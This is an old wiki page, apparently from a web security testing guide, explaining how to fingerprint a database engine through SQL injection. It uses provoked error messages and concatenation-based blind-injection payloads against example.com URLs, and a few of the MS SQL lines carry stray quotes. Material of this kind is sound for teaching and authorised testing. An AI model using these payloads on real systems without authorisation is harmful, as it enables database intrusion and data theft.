Revision as of 01:45, 11 May 2008

Fingerprint remote DBMS

To furthermore exploit SQL Injection vulnerability you need to know what kind of Database Engine your web application is using. There are a few techniques to accomplish this task:

  * Error Code Analysis
  * Engine Fingerprint

Error Codes Analysis

By performing fault injection, or fuzzing, you can gather important information through error code analysis. Let'see some examples:

http://www.example.com/store/findproduct.php?name='
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version 
for the right syntax to use near '''''   at line 1

http://www.example.com/store/products.php?id='
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: SELECT * FROM products WHERE ID=' ^ in /var/www/store/products.php on line 9

Engine Fingerprint

First of all let see what differences exists between DBMS. One of the biggest difference between different database engine is on how they concatenate strings:

MS SQL: 'a' + 'a'

MySQL: CONCAT('a','a')

Oracle: 'a' || 'a' or CONCAT('a','a')

Postgres: 'a' || 'a'

As you can see both Oracle and Postgres use the || operator to perform such a concatenation, so we need another difference to distinguish them.

PL/SQL define the CONCAT operator as well to perform string concatenation and as you can guess this one is not defined on Postgres.

Example:

Let say you're testing the following URL: http://www.example.com/news.php?id=1

You checked that the above URL is vulnerable to a Blind SQL Injection. It means that http://www.example.com/news.php return back the same contents with both

id=1 (http://www.example.com/news.php?id=1)

and

id=1 AND 1=1 (http://www.example.com/news.php?id=1 AND 1=1)

You know that different engine have different operators to perform string concatenation as well so all you have to do is to compare the orginal page (id=1) with:

• MSSQL: id=1 AND 'aa'='a'+'a'
• MySQL/Oracle: id=1 AND 'aa'=CONCAT('a','a')
• Oracle/Postgres: id=1 AND 'a'='a'||'a'

MS SQL:

The following comparison should be true:

• http://www.example.com/news.php?id=1''
• http://www.example.com/news.php?id=1 AND 'aa'='a'+'a'''

MySQL:

The following comparison should be true:

• http://www.example.com/news.php?id=1
• http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')

Oracle:

The following comparison should be true:

• http://www.example.com/news.php?id=1
• http://www.example.com/news.php?id=1 AND 'aa'=CONCAT('a','a')
• http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'

Postgres:

The following comparison should be true:

• http://www.example.com/news.php?id=1
• http://www.example.com/news.php?id=1 AND 'aa'='a'||'a'

References

Victor Chapela: "Advanced SQL Injection"

http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt

Tools

Bernardo Damele and Daniele Bellucci: sqlmap a blind SQL injection tool

http://sqlmap.sourceforge.net/